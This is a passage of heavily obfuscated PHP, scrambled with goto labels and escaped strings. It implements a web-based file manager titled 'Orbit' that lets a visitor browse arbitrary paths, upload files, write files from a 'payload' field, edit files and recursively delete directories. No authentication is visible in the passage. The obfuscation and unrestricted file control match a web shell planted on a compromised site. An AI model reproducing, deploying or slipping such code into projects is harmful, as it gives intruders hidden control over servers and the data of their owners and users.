157\160\x3a\x31\64\x70\170\175\56\x62\164\156\173\x61\160\x70\x65\x61\x72\x61\156\143\x65\72\156\157\156\145\x3b\142\141\x63\153\x67\162\x6f\x75\156\x64\x3a\43\x30\x62\66\63\145\x35\x3b\x63\157\x6c\157\x72\x3a\43\x66\146\146\x3b\142\x6f\162\144\x65\162\72\x30\73\x62\157\162\144\x65\162\55\x72\x61\144\151\165\x73\72\61\60\x70\170\x3b\x70\x61\x64\x64\x69\156\147\72\70\x70\x78\40\61\62\160\x78\x3b\x63\x75\x72\163\x6f\x72\x3a\x70\157\151\x6e\x74\x65\162\175\56\x62\x74\156\x3a\x68\x6f\166\145\162\x7b\x66\151\x6c\x74\x65\162\x3a\x62\x72\x69\x67\150\x74\x6e\145\x73\x73\x28\61\56\60\x36\x29\x7d\x2e\151\156\54\x74\145\170\x74\141\x72\x65\x61\x7b\167\151\144\x74\150\x3a\61\60\x30\x25\x3b\x62\x6f\x72\x64\145\162\72\61\160\170\40\x73\x6f\x6c\x69\144\x20\x23\145\x32\145\x34\145\x61\x3b\142\x6f\x72\144\145\162\55\x72\x61\x64\x69\x75\x73\72\61\60\x70\x78\73\160\x61\144\x64\x69\156\x67\x3a\61\x30\160\170\73\x62\141\143\x6b\x67\162\157\165\156\x64\x3a\x23\146\x66\x66\x3b\143\157\x6c\157\162\x3a\43\60\146\x31\67\x32\x30\x7d\56\x74\142\x6c\x7b\x77\151\x64\x74\x68\x3a\x31\x30\x30\x25\x3b\142\x6f\x72\144\145\162\x2d\x63\x6f\154\x6c\x61\x70\x73\145\x3a\x63\x6f\154\x6c\x61\160\x73\145\x7d\56\164\142\x6c\40\x74\x68\54\x2e\164\142\154\40\164\x64\173\x62\x6f\162\x64\x65\162\55\142\x6f\x74\164\x6f\155\72\61\x70\170\40\163\x6f\x6c\151\x64\40\x23\x66\x30\x66\x30\x66\x33\73\160\x61\144\144\151\156\147\x3a\70\160\170\x20\66\x70\x78\73\x74\x65\x78\x74\55\141\154\x69\147\x6e\x3a\154\145\146\164\x7d\x2e\154\x30\173\x68\x65\151\x67\150\164\72\x31\x70\170\73\x62\141\x63\x6b\x67\x72\x6f\165\156\144\x3a\43\145\146\x65\146\146\x33\x3b\155\141\x72\147\151\x6e\x3a\x31\64\160\x78\40\60\175\56\147\162\151\x64\173\x64\151\163\160\154\x61\x79\72\147\162\x69\x64\73\x67\162\x69\144\55\164\145\x6d\160\154\141\164\x65\55\x63\x6f\154\165\155\x6e\x73\x3a\162\x65\160\x65\x61\164\x28\141\165\x74\157\x2d\x66\151\x74\x2c\155\x69\x6e\155\141\170\x28\62\66\x30\160\170\x2c\x31\x66\162\51\51\x3b\x67\x61\x70\x3a\61\62\160\x78\175\74\57\163\x74\x79\154\145\76\40\x3c\57\x68\145\141\x64\76\x3c\x62\157\144\x79\x3e\x3c\144\x69\166\x20\143\154\141\x73\163\75\x22\x63\x30\x22\x3e\x20\74\x68\145\141\144\145\x72\40\x63\154\141\163\x73\75\42\143\61\42\76\x20\x3c\144\151\x76\x20\143\x6c\x61\163\163\x3d\42\x74\60\x22\76\x4f\162\142\x69\164\74\x2f\x64\x69\x76\76\x20\74\x64\x69\166\x20\x63\x6c\x61\x73\163\x3d\x22\143\x72\x75\155\x62\x22\x3e"; goto Ymukx; NeBZx: $whCcN = $hKa5N . DIRECTORY_SEPARATOR . $CKior; goto zH9X7; AZL6L: W_xge($hKa5N, ["\153" => "\71", "\164" => "\x65\162\x72"]); goto aLyri; squp7: w_xGE($hKa5N, ["\x6b" => "\170", "\164" => "\x65\x72\162"]); goto Xm87y; QxHQX: W_XGe($hKa5N, ["\153" => "\64"]); goto vAGvG; wIFX2: w_xgE($hKa5N, ["\153" => "\x78", "\164" => "\x65\162\x72"]); goto KcFzF; nF3PC: W_xge($hKa5N, ["\x6b" => "\170", "\164" => "\145\162\x72"]); goto ijlg2; YIpDe: if (!(is_dir($whCcN) && sATN0($whCcN))) { goto yPV4Y; } goto R8BGT; Vr9Vl: if (!($uo55N !== '' && array_key_exists($uo55N, $AsdtI))) { goto JKwBV; } goto ea7U7; g6nxj: if (is_writable($whCcN)) { goto j3EWH; } goto BNjoa; EAhfd: if (!($miDsG !== '')) { goto s5oeC; } goto Q3p0q; uSl0o: W_XGe($hKa5N, ["\x6b" => "\x39", "\164" => "\145\x72\162"]); goto lYxZK; k2LMe: echo uyArk($hKa5N); goto w9c3s; vQy3G: NLNnO: goto iVgxG; Spq_p: function i07Ei($L0rGH, $CGf7N) { goto LJvJa; UVWBz: L0pwG: goto ywxPs; Uc_A8: $miDsG = rawurldecode($L0rGH); goto NO6n1; Sn10H: ypfWy: goto Dt_DF; Dt_DF: $Eg0dA = rtrim($CGf7N, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . ltrim($miDsG, DIRECTORY_SEPARATOR); goto gN39Y; J9DQN: $MBA4J = []; goto rh6M6; LJvJa: $L0rGH = str_replace("\x0", '', (string) $L0rGH); goto YneaN; Rqpot: return getcwd(); goto edkPN; edkPN: h21BT: goto Uc_A8; WukCy: J01uK: goto qiNbW; iLJJr: if (!($EMPkr !== false && strpos($EMPkr, $CGf7N) === 0)) { goto L0pwG; } goto MEWm2; MEWm2: $CKior = $EMPkr; goto UVWBz; nMdJk: if (!preg_match("\43\x5e\50\x5b\101\55\x5a\141\55\172\x5d\72\x7c" . preg_quote(DIRECTORY_SEPARATOR, "\x23") . "\51\43", $miDsG)) { goto ypfWy; } goto Arqok; NO6n1: $miDsG = str_replace(["\57", "\x5c"], DIRECTORY_SEPARATOR, $miDsG); goto nMdJk; rh6M6: foreach (explode(DIRECTORY_SEPARATOR, $Eg0dA) as $Etvzy) { goto Z6uhb; j2Rpw: $MBA4J[] = $Etvzy; goto HrsG9; ypMp8: JV8eq: goto j2Rpw; HO2gs: tOFA4: goto LAmp8; HrsG9: pfVY5: goto WYoQ6; Z6uhb: if (!($Etvzy === '' || $Etvzy === "\x2e")) { goto tOFA4; } goto nF_fH; dIUVM: goto pfVY5; goto ypMp8; nF_fH: goto pfVY5; goto HO2gs; LAmp8: if (!($Etvzy === "\56\56")) { goto JV8eq; } goto MRAnU; MRAnU: array_pop($MBA4J); goto dIUVM; WYoQ6: } goto BsvTl; Arqok: $Eg0dA = $miDsG; goto BAlZZ; DCQEP: $CKior = DIRECTORY_SEPARATOR . implode(DIRECTORY_SEPARATOR, $MBA4J); goto JNeaU; JNeaU: goto J01uK; goto HIzt7; HIzt7: X_gDj: goto UwCu_; MY4HI: VdibK: goto OwTdD; BsvTl: diW2b: goto gACB2; ywxPs: if (!is_file($CKior)) { goto VdibK; } goto p1H6t; gACB2: if (DIRECTORY_SEPARATOR === "\134" && preg_match("\x23\136\x5b\x41\x2d\x5a\x61\x2d\x7a\x5d\72\x23", $MBA4J[0] ?? '')) { goto X_gDj; } goto DCQEP; kjK6C: if (!($L0rGH === '' || $L0rGH === "\56" || $L0rGH === "\x2f" || $L0rGH === "\134")) { goto h21BT; } goto Rqpot; qiNbW: $EMPkr = @realpath($CKior); goto iLJJr; UwCu_: $CKior = implode(DIRECTORY_SEPARATOR, $MBA4J); goto WukCy; gN39Y: X229F: goto J9DQN; p1H6t: $CKior = dirname($CKior); goto MY4HI; YneaN: $L0rGH = trim($L0rGH); goto kjK6C; BAlZZ: goto X229F; goto Sn10H; OwTdD: return rtrim($CKior, DIRECTORY_SEPARATOR); goto uuWpc; uuWpc: } goto qtljP; x1rWp: function l0hE9($MBA4J) { return substr(sprintf("\x25\157", $MBA4J), -4); } goto Tdljh; uqaFC: vc3s6: goto ZpEDW; Vh4wz: goto Ks_7d; goto h_Xbc; U_JeO: vda2W: goto yGnlL; lY_3K: $miDsG = basename(trim((string) ($_POST["\x6e"] ?? ''))); goto EAhfd; N20dR: PLCDn: goto eiHPH; QokuC: if (!isset($_POST["\155\x76"])) { goto JemmC; } goto RvlvP; A58OJ: $jiDJJ = $_GET["\x64\157"] ?? ''; goto sEydI; p3v4Z: $J1jPy = (string) ($_POST["\160\141\x79\x6c\157\x61\x64"] ?? ''); goto fBsWN; aLyri: Xh87f: goto qu8Cz; KcFzF: JemmC: goto HNvxm; P_ewX: DuklL: goto aE3BT; HNvxm: if (!isset($_POST["\x72\155\x66"])) { goto q33k1; } goto z097c; PlpAM: goto SGQhK; goto i_KZ3; s6upI: if (!$d2eLc) { goto MFcYk; } goto Vm9Z2; tLh86: function lMs8G($FMHfo, $sOr1_) { return "\74\141\40\143\x6c\141\163\163\x3d\47\154\x69\x6e\153\x27\40\150\162\145\146\x3d\x27\77\x70\x74\x3d" . uyark(fttyE($FMHfo)) . "\47\x3e" . uYarK($sOr1_) . "\74\x2f\141\x3e"; } goto ByK47; vaUVK: if ($eC5Q2 === false) { goto gnd77; } goto mkAjj; j53TM: if (!(($_GET["\x74"] ?? '') === "\x65\x72\x72")) { goto rGi_a; } goto rtwJu; yyPc2: echo "\74\x64\151\166\40\x63\x6c\141\163\163\75\x22\x6d\x73\x67\x20\x65\x72\x72\x22\76\143\x61\156\156\x6f\164\40\x72\x65\x61\144\x3c\x2f\144\151\x76\x3e\x20"; goto JXmBA; j5lY0: echo UyArK($d2eLc); goto kbjML; HJeiQ: hLLSm: goto bpR4B; j1ux5: $CGf7N = "\57"; goto KKgFI; Yuvqx: if (!isset($_POST["\155\153\144"])) { goto vda2W; } goto PnxF5; Lpr4Y: w_Xge($hKa5N, ["\153" => "\61"]); goto vQy3G; QENit: kkIof: goto rmRh1; eAR0r: $whCcN = $hKa5N . DIRECTORY_SEPARATOR . $VI76I; goto VSObE; Hqc2A: echo UYark($eC5Q2); goto riMoP; kbjML: echo "\x3c\x2f\144\x69\x76\x3e"; goto FmZvK; DzG28: function w_xGe($bQRbF, $H_uAo = array()) { goto WF3K_; ylyyd: $zraXm = FttYE($bQRbF); goto XQk6Y; WF3K_: global $_GET, $hKa5N, $zraXm, $CGf7N; goto ylyyd; BiG7B: $_SERVER["\122\x45\x51\x55\x45\123\124\137\115\x45\124\110\117\104"] = "\x47\105\x54"; goto uUcn2; ra1sm: $hKa5N = I07ei($bQRbF, $CGf7N); goto zvcP4; zvcP4: $_POST = []; goto BiG7B; XQk6Y: $_GET = $H_uAo + ["\x70\164" => $zraXm]; goto ra1sm; uUcn2: } goto Spq_p; yDR3L: psXUh: goto jiv5N; riMoP: echo "\74\x2f\164\x65\x78\x74\141\x72\x65\141\76\x20\x3c\144\151\166\x20\163\164\x79\x6c\x65\x3d\42\x6d\x61\x72\147\x69\156\55\x74\x6f\160\x3a\61\60\x70\170\42\76\x3c\142\165\x74\164\157\x6e\x20\x63\154\x61\163\x73\x3d\42\142\164\x6e\x22\164\171\x70\145\75\x22\163\165\142\x6d\151\x74\x22\156\141\155\x65\x3d\x22\x73\x61\166\x65\x22\x3e\x63\157\x6d\x6d\x69\x74\x3c\x2f\142\165\164\x74\157\x6e\76\x3c\57\144\151\166\x3e\x3c\x2f\x66\x6f\162\x6d\76\40"; goto Vh4wz; FmZvK: MFcYk: goto b8j3M; kU07P: Nt9Pk: goto PNlV5; ODPNp: echo "\40\x3c\144\151\x76\40\x63\x6c\x61\x73\x73\75\x22\x63\141\x72\x64\x22\x73\164\x79\x6c\145\75\42\155\141\162\147\x69\x6e\x2d\x74\157\160\72\61\64\160\170\42\x3e\x20\x3c\144\151\166\x20\x63\x6c\141\163\163\75\x22\164\x30\x22\x73\164\171\x6c\x65\75\42\146\157\x6e\164\55\x73\x69\x7a\x65\x3a\x31\x36\x70\170\x3b\155\141\162\x67\x69\156\x2d\142\157\164\164\157\x6d\72\x38\160\x78\x22\76\151\x74\145\x6d\163\x3c\57\x64\151\166\x3e\x20\74\x74\141\142\x6c\x65\x20\x63\x6c\x61\163\163\75\x22\164\x62\x6c\42\x3e\x20\x3c\164\162\76\x3c\164\150\x3e\156\x61\155\145\x3c\x2f\x74\150\76\x3c\x74\150\76\163\x69\172\145\x3c\57\164\150\76\74\x74\x68\x3e\x70\145\x72\155\74\57\x74\150\76\74\164\150\76\x6d\157\x64\151\x66\x69\x65\144\x3c\x2f\x74\150\76\74\x74\x68\x3e\x61\143\164\151\157\156\x73\74\x2f\x74\x68\76\x3c\57\x74\x72\x3e\40"; goto qLDxo; jLtCl: kaEwf: goto VJg8R; SEZ4v: W_xGe($hKa5N, ["\x6b" => "\71", "\164" => "\145\162\162"]); goto MlDJ8; ihnhP: j3EWH: goto SJj6R; deL_l: session_start(); goto MhBcj; oeAVm: W_XGe($hKa5N, ["\x6b" => "\62", "\x64\x6f" => "\x65\x64\x69\x74", "\146" => $mH8g4]); goto yDR3L; BYmom: function ieJlG($VI76I, $miDsG) { goto CoqSg; VawAc: @flock($IPTV6, LOCK_UN); goto C_tg1; e1EvH: if (!(!is_dir($Hr3it) || !is_writable($Hr3it))) { goto Rk2rP; } goto jZmtB; jZmtB: return false; goto AUBcC; f9x71: if ($IPTV6) { goto vtOrb; } goto ci0Lv; ci0Lv: return false; goto WYbKG; AUBcC: Rk2rP: goto CH70F; SEfB_: return $c2N_Z !== false; goto mDGYI; C_tg1: @fclose($IPTV6); goto SEfB_; CoqSg: $Hr3it = dirname($VI76I); goto e1EvH; CH70F: $IPTV6 = @fopen($VI76I, "\167\142"); goto f9x71; lwBIR: $c2N_Z = @fwrite($IPTV6, $miDsG); goto VawAc; WYbKG: vtOrb: goto yZVfu; yZVfu: @flock($IPTV6, LOCK_EX); goto lwBIR; mDGYI: } goto hjj2P; laSjr: if (!($_SERVER["\x52\105\x51\125\105\x53\x54\137\x4d\105\124\110\x4f\104"] === "\120\117\123\124")) { goto kaEwf; } goto CCCv1; w9c3s: echo "\74\x2f\x73\160\x61\x6e\x3e\x3c\x2f\144\151\x76\76\40\x3c\57\150\x65\x61\x64\x65\162\x3e\40"; goto s6upI; hjj2P: function Satn0($miDsG) { goto oHms0; WOcVA: $sOr1_ = @scandir($miDsG); goto rNRmG; ERF_Q: foreach ($sOr1_ as $Eg0dA) { goto DEe8k; tWrWv: goto yXRZA; goto E80WC; vt1Dg: UyBGv: goto QTBHa; E80WC: X2f2V: goto FulTc; QTBHa: goto viULj; goto eC4iY; yEn3z: if (@unlink($whCcN)) { goto UyBGv; } goto Nn_Uu; eC4iY: Xk4Hh: goto sneGh; Nn_Uu: return false; goto vt1Dg; sneGh: if (Satn0($whCcN)) { goto rYipu; } goto V1ECH; R4d_L: if (is_dir($whCcN)) { goto Xk4Hh; } goto yEn3z; NYCxH: yXRZA: goto YByo5; DEe8k: if (!($Eg0dA === "\x2e" || $Eg0dA === "\x2e\56")) { goto X2f2V; } goto tWrWv; V1ECH: return false; goto v3sHY; v3sHY: rYipu: goto QDpcK; QDpcK: viULj: goto NYCxH; FulTc: $whCcN = $miDsG . DIRECTORY_SEPARATOR . $Eg0dA; goto R4d_L; YByo5: } goto VYNis; sCzwB: tsVj9: goto WOcVA; mynzH: return false; goto sCzwB; VYNis: YvPZD: goto wcnM_; rNRmG: if (!($sOr1_ === false)) { goto LxycF; } goto b5yXt; b_IU0: LxycF: goto ERF_Q; oHms0: if (is_dir($miDsG)) { goto tsVj9; } goto mynzH; b5yXt: return false; goto b_IU0; wcnM_: return @rmdir($miDsG); goto SMUE1; SMUE1: } goto x1rWp; oZtsk: echo "\40"; goto vaUVK; WDUTr: echo "\x3c\57\163\160\x61\156\76\74\x73\160\x61\156\40\143\x6c\x61\x73\163\x3d\x22\160\151\x6c\154\42\76\x63\167\144\40"; goto k2LMe; lCph2: $CKior = basename(trim((string) ($_POST["\x6e\x61\x6d\145"] ?? ''))); goto xnOR1; bOieB: w_Xge($hKa5N, ["\153" => "\71", "\164" => "\x65\x72\162"]); goto PlpAM; cRJWB: s5oeC: goto squp7; sEydI: $mH8g4 = $_GET["\146"] ?? ''; goto IekT2; g9C9r: w_XgE($hKa5N, ["\x6b" => "\170", "\164" => "\x65\162\162"]); goto U_JeO; kgAnr: if (!iEJlG($whCcN, $J1jPy)) { goto psXUh; } goto oeAVm; i_KZ3: N6uo1: goto T9MSe; bpR4B: goto XBF1z; goto Q77BA; ZVBcG: function YTNdA($YPhVT, $Usag4) { goto N739s; TMouq: $Mo3bv = @fopen($Usag4, "\167\142"); goto yqEKi; HrdDT: return false; goto vURi7; KssRV: $miDsG = @fread($HR1lC, 65536); goto jYQm2; yqEKi: if ($Mo3bv) { goto m9QZf; } goto fCJNk; vURi7: dc_Vn: goto OIwLT; WxGAt: if ($HR1lC) { goto ym1FS; } goto y6f2t; jYQm2: if (!($miDsG === false || @fwrite($Mo3bv, $miDsG) === false)) { goto Z_DlE; } goto mnSkU; QTNpl: if (feof($HR1lC)) { goto NAx8d; } goto KssRV; OIwLT: $HR1lC = @fopen($YPhVT, "\x72\142"); goto WxGAt; y6f2t: return false; goto IdbDC; mnSkU: $c2N_Z = false; goto B2Klw; IdbDC: ym1FS: goto TMouq; W8b93: Z_DlE: goto ZTR7U; AY39f: @fclose($HR1lC); goto qYF3f; ZTR7U: goto m94Cq; goto WYolU; IS_1Z: $Hr3it = dirname($Usag4); goto Xhb_f; mjX2k: LhBFH: goto IS_1Z; tQXD1: m94Cq: goto QTNpl; N739s: if (file_exists($YPhVT)) { goto LhBFH; } goto x0fqH; fCJNk: @fclose($HR1lC); goto PlYXQ; B2Klw: goto NAx8d; goto W8b93; Xhb_f: if (!(!is_dir($Hr3it) || !is_writable($Hr3it))) { goto dc_Vn; } goto HrdDT; FJsjR: $c2N_Z = true; goto tQXD1; ptz1g: return $c2N_Z; goto Jp_TE; WYolU: NAx8d: goto AY39f; PlYXQ: return false; goto JawIz; x0fqH: return false; goto mjX2k; qYF3f: @fclose($Mo3bv); goto ptz1g; JawIz: m9QZf: goto FJsjR; Jp_TE: } goto laSjr; eheqp: if ($VI76I["\145\162\162\157\162"] !== UPLOAD_ERR_OK || !is_uploaded_file($VI76I["\164\x6d\x70\137\156\141\x6d\x65"])) { goto P18wP; } goto HTCLw; MhBcj: $_SESSION["\x6d\141\144\x65\x72"] = $_SESSION["\155\x61\x64\x65\x72"] ?? []; goto nqWBq; VEqlT: yPV4Y: goto cRJWB; rtwJu: $kU931 = "\145\x72\x72"; goto CZ_lC; UN647: W_XGE($hKa5N, ["\x6b" => "\71", "\x74" => "\145\162\x72"]); goto QENit; BIN3Z: W_xGe($hKa5N, ["\x6b" => "\x36"]); goto vKwoh; ijlg2: goto SGQhK; goto U1EZY; h_Xbc: gnd77: goto yyPc2; mkAjj: echo "\40\74\x66\x6f\x72\155\x20\x6d\145\164\150\x6f\144\75\42\160\x6f\x73\x74\x22\x63\154\141\x73\163\75\x22\x63\141\162\x64\x22\76\x20\x3c\x64\x69\x76\x20\x63\154\141\x73\163\75\x22\164\x30\42\x73\164\x79\x6c\145\x3d\x22\x66\x6f\x6e\x74\x2d\163\151\x7a\x65\x3a\61\66\160\170\42\x3e\x72\145\x76\x69\163\x65\x20\x3c\163\x70\141\x6e\40\x63\x6c\141\x73\x73\x3d\42\x70\151\x6c\x6c\42\76"; goto vxsKk; p4XrB: if (!($jiDJJ === "\145\x64\151\164" && $mH8g4 !== '')) { goto jX5q3; } goto kK2_J; x4L5j: $whCcN = rtrim($hKa5N, "\x5c\57") . DIRECTORY_SEPARATOR . $mH8g4; goto p3v4Z; Bihz4: echo "\74\57\x64\x69\166\76\x20\x3c\x64\x69\166\76\74\x73\x70\x61\156\40\143\154\141\163\x73\75\42\x70\x69\x6c\x6c\42\76\x72\157\157\x74\40"; goto ZQZYY; yGnlL: if (!(isset($_POST["\163\x61\166\145"]) && $mH8g4 !== '')) { goto GxHB2; } goto x4L5j; qtljP: function e7ARj($VI76I) { goto nj0p0; u5bRj: $O0257 .= $J1jPy; goto TZFvt; s_BV0: @fclose($IPTV6); goto RapEK; la9bw: PZ2bp: goto yhcZZ; td3ix: DAyAc: goto PzwZv; A5tiQ: if (feof($IPTV6)) { goto DAyAc; } goto okQXT; nj0p0: if (!(!is_file($VI76I) || !is_readable($VI76I))) { goto PZ2bp; } goto XJB3f; RapEK: return false; goto PI2VL; ywn7U: return $O0257; goto M1kcO; okQXT: $J1jPy = @fread($IPTV6, 65536); goto ODzHj; PI2VL: k1hEc: goto u5bRj; SxDYF: rjgon: goto yYzix; yYzix: $O0257 = ''; goto mb_Ig; TZFvt: goto DgIOg; goto td3ix; XJB3f: return false; goto la9bw; PzwZv: @fclose($IPTV6); goto ywn7U; bJmH4: return false; goto SxDYF; ODzHj: if (!($J1jPy === false)) { goto k1hEc; } goto s_BV0; Bt8Zd: if ($IPTV6) { goto rjgon; } goto bJmH4; mb_Ig: DgIOg: goto A5tiQ; yhcZZ: $IPTV6 = @fopen($VI76I, "\x72\x62"); goto Bt8Zd; M1kcO: } goto BYmom; KHVSC: if (!isset($_POST["\162\155\144"])) { goto a_3RV; } goto lY_3K; tP76R: W_xge($hKa5N, ["\153" => "\x39", "\x74" => "\x65\162\x72"]); goto uqaFC; Ymukx: echo t1hB9($hKa5N, $CGf7N); goto Bihz4; oVZMU: function UYArK($Etvzy) { return strtr((string) $Etvzy, ["\46" => "\x26\141\x6d\160\x3b", "\74" => "\46\x6c\x74\x3b", "\76" => "\x26\147\164\x3b", "\x22" => "\x26\x71\165\x6f\164\x3b", "\x27" => "\46\x23\60\63\71\73"]); } goto DzG28; ZCz1Z: echo uYArk($kU931); goto Uqbg7; ofD8v: $Ej6Hl = $hKa5N . DIRECTORY_SEPARATOR . $uo63X; goto jOK68; lhYSB: $uo55N = $_GET["\x6b"] ?? ''; goto ZLhU4; b8j3M: echo "\x20\x3c\144\151\x76\x20\143\x6c\141\163\x73\x3d\x22\x67\162\x69\144\x22\x3e\40\x3c\x66\157\162\x6d\x20\x6d\145\x74\150\157\144\x3d\42\x70\x6f\x73\x74\x22\40\x65\156\x63\164\171\160\x65\x3d\x22\155\165\x6c\x74\x69\x70\x61\162\x74\57\146\157\162\155\55\144\x61\x74\x61\42\x20\x63\154\141\163\x73\75\x22\x63\141\x72\144\x22\x3e\x20\x3c\x64\x69\166\40\143\x6c\141\x73\x73\x3d\x22\x74\x30\42\163\x74\x79\x6c\x65\75\x22\x66\157\x6e\164\55\163\x69\x7a\x65\72\x31\x36\160\x78\42\76\151\156\147\145\163\x74\x3c\x2f\144\x69\x76\x3e\x20\74\x69\x6e\x70\x75\164\40\x63\x6c\141\x73\x73\x3d\42\x69\x6e\x22\x74\x79\x70\145\75\42\146\151\x6c\145\42\156\141\x6d\145\75\42\x62\165\42\57\76\x20\74\x64\x69\x76\x20\x73\x74\x79\154\145\x3d\x22\x6d\141\162\x67\151\x6e\x2d\x74\157\160\x3a\70\x70\x78\42\76\x3c\x62\165\164\164\x6f\156\x20\x63\x6c\x61\x73\163\x3d\42\142\164\x6e\42\x74\171\x70\145\75\42\x73\165\142\x6d\151\x74\42\76\x73\145\156\144\74\57\142\x75\164\164\x6f\x6e\x3e\74\57\x64\x69\166\76\x3c\57\x66\x6f\x72\x6d\x3e\x20\x3c\146\157\x72\x6d\x20\x6d\x65\x74\150\x6f\144\x3d\42\160\157\x73\x74\42\143\154\x61\x73\x73\x3d\x22\x63\141\x72\x64\42\x3e\40\x3c\144\x69\166\40\143\x6c\x61\163\x73\75\x22\164\60\42\163\x74\171\x6c\145\75\42\x66\157\x6e\164\x2d\x73\151\x7a\145\72\x31\66\160\x78\x22\x3e\x66\162\x65\x73\x68\40\151\164\x65\155\74\x2f\x64\151\166\76\x20\74\151\156\160\165\164\x20\143\x6c\141\163\x73\75\42\x69\x6e\x22\156\x61\155\145\75\x22\156\141\x6d\x65\x22\x70\x6c\141\143\145\x68\157\x6c\144\x65\162\75\42\x66\151\154\x65\x2e\x65\170\164\42\57\76\40\x3c\x74\x65\x78\164\141\x72\145\x61\x20\156\141\155\x65\x3d\42\x70\141\x79\154\x6f\x61\x64\42\162\157\x77\x73\75\x22\66\42\x70\154\141\x63\x65\x68\x6f\154\x64\x65\162\75\42\x63\157\x6e\164\145\x6e\x74\x20\50\157\160\x74\x29\42\x3e\x3c\x2f\164\x65\x78\x74\x61\162\145\141\x3e\40\74\144\151\166\40\163\164\171\154\145\75\x22\155\x61\x72\147\x69\x6e\55\164\157\160\x3a\x38\x70\170\42\76\x3c\x62\165\x74\164\157\x6e\40\143\154\141\x73\x73\x3d\x22\142\164\x6e\42\164\x79\160\145\x3d\42\x73\165\x62\x6d\x69\x74\x22\156\141\155\145\x3d\42\x6d\153\146\42\x3e\143\x72\145\x61\x74\x65\74\x2f\142\x75\x74\x74\157\156\76\74\x2f\x64\x69\x76\x3e\74\57\146\x6f\162\155\x3e\40\x3c\146\157\162\x6d\x20\155\x65\164\150\157\x64\x3d\42\160\157\x73\x74\x22\x63\x6c\141\163\x73\x3d\x22\143\141\x72\x64\x22\x3e\40\74\x64\x69\x76\x20\x63\154\141\163\163\x3d\x22\164\60\42\x73\x74\x79\x6c\145\x3d\x22\146\x6f\x6e\164\55\163\151\172\145\72\x31\x36\x70\x78\42\x3e\x66\162\145\x73\x68\x20\x64\x69\x72\x3c\x2f\x64\151\166\76\x20\74\151\x6e\160\x75\x74\40\143\154\141\x73\163\x3d\42\x69\x6e\x22\156\x61\x6d\145\x3d\42\156\x61\155\x65\x22\160\x6c\x61\143\x65\x68\157\154\144\x65\162\x3d\x22\146\157\154\144\x65\x72\x22\x2f\x3e\x20\x3c\144\151\x76\40\x73\164\171\154\x65\x3d\x22\155\x61\162\x67\151\x6e\x2d\164\x6f\160\72\70\160\170\42\x3e\74\x62\x75\x74\164\x6f\156\40\x63\x6c\x61\163\x73\x3d\x22\x62\x74\x6e\x22\164\171\x70\x65\75\42\163\165\x62\x6d\151\x74\x22\x6e\x61\x6d\x65\75\x22\x6d\153\x64\x22\x3e\143\x72\x65\141\164\145\x3c\x2f\x62\x75\x74\164\157\x6e\76\74\x2f\144\151\166\x3e\74\x2f\146\x6f\162\x6d\x3e\40\x3c\57\144\151\166\76\40"; goto p4XrB; PNlV5: if (!isset($_POST["\155\153\x66"])) { goto kkWlg; } goto lCph2; Q3p0q: $whCcN = $hKa5N . DIRECTORY_SEPARATOR . $miDsG; goto YIpDe; U1EZY: P18wP: goto bOieB; Vxf2g: kkWlg: goto Yuvqx; TYdBw: $d2eLc = null; goto Vr9Vl; T9MSe: w_XGe($hKa5N, ["\153" => "\x37"]); goto X6ys7; MQmhL: GxHB2: goto QokuC; aoQXk: if (!($VI76I !== '')) { goto DuklL; } goto eAR0r; qLDxo: $gsdxU = @scandir($hKa5N); goto V7U51; vKwoh: t0FkU: goto wIFX2; Tdljh: function n_Dat($zfTDf) { return is_numeric($zfTDf) ? number_format((float) $zfTDf) . "\x20\142\171\x74\x65\163" : "\55"; } goto tLh86; jiv5N: w_Xge($hKa5N, ["\x6b" => "\170", "\x74" => "\145\x72\162", "\144\157" => "\x65\144\151\x74", "\146" => $mH8g4]); goto MQmhL; IekT2: $tuNNk = $_GET["\144"] ?? ''; goto v08bi; OKTub: echo "\74\164\162\x3e\74\164\x64\40\x63\157\x6c\x73\160\x61\x6e\x3d\x27\x35\47\x3e\156\157\40\x61\x63\143\145\x73\163\74\57\164\144\76\74\57\164\x72\x3e"; goto I521M; rGXre: w_xge($hKa5N, ["\x6b" => "\71", "\164" => "\x65\162\162"]); goto f9MYT; F5GSt: $MBA4J = $_GET["\160"] ?? ''; goto A58OJ; nqWBq: function FtTye($FMHfo) { goto fO2SN; VmhhP: $_SESSION["\155\141\x64\x65\162"][$zfTDf] = $FMHfo; goto I5WYd; I5WYd: return $zfTDf; goto MKK6y; fO2SN: $zfTDf = bin2hex(random_bytes(8)); goto VmhhP; MKK6y: } goto Q91hu; vxsKk: echo uyArK($mH8g4); goto I5Phs; I5Phs: echo "\x3c\x2f\163\160\141\x6e\76\x3c\57\x64\151\166\x3e\40\74\x74\x65\x78\164\x61\x72\x65\141\x20\156\x61\155\x65\x3d\x22\160\141\x79\x6c\x6f\141\x64\42\162\157\167\163\x3d\42\x31\x38\x22\76"; goto Hqc2A; qnEd1: JKwBV: goto ZVBcG; Edmio: W_xge($hKa5N, ["\x6b" => "\x78", "\x74" => "\145\162\162", "\x64\x6f" => "\x65\x64\x69\x74", "\146" => $mH8g4]); goto Ug248; g72Y8: foreach ($gsdxU as $gxTgH) { goto flNGU; jzcog: echo "\x3c\x61\40\x63\154\141\x73\163\75\47\x6c\x69\x6e\153\47\163\164\171\x6c\x65\75\x27\155\x61\162\x67\151\156\x2d\x72\x69\x67\150\x74\x3a\x38\x70\x78\47\x68\162\145\146\75\x27\77\x70\x74\x3d" . uyARK(FtTYE($hKa5N)) . "\x26\x64\x6f\75\145\x64\x69\x74\x26\146\75" . urlencode($gxTgH) . "\x27\x3e\x6f\x70\145\x6e\x3c\x2f\141\76"; goto etHKC; QUvAQ: $VI76I = $hKa5N . DIRECTORY_SEPARATOR . $gxTgH; goto ENwuF; zqap5: echo uYARK($gxTgH); goto YchY7; fr8Sr: $X0ktj = $iHpW1 !== false ? L0hE9($iHpW1) : "\x2d\55\55\x2d"; goto exay0; WjcJc: efpaq: goto QUvAQ; DYygb: echo 